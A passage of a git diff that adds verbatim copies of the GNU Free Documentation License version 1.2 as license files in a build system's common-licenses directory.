+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-no-invariants-or-later b/meta/files/common-licenses/GFDL-1.2-no-invariants-or-later
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-no-invariants-or-later
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-only b/meta/files/common-licenses/GFDL-1.2-only
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-only
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
